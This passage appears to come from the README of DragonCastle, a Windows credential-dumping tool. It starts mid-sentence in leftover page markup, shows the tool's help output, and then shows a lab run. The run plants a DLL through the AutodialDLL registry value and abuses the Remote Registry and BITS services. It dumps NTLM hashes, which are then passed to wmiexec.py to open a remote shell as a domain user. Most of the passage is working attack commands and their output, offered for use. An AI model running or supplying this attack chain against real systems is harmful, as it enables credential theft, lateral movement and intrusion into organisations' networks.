credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it -local-dll dll to plant DLL location (local) that will be planted on target -remote-dll dll location Path used to update AutodialDLL registry value" dir="auto">
psyconauta@insulanova:~/Research/dragoncastle|β‡’  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid doma   in name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value</   pre>

Example

Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10:

psyconauta@insulanova:~/Research/dragoncastle|β‡’  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977   b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!
psyconauta@insulanova:~/Research/dragoncastle|β‡’  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                            Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivile   ge                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               En   able computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\>

Author

Juan Manuel FernΓ‘ndez (@TheXC3LL)

References



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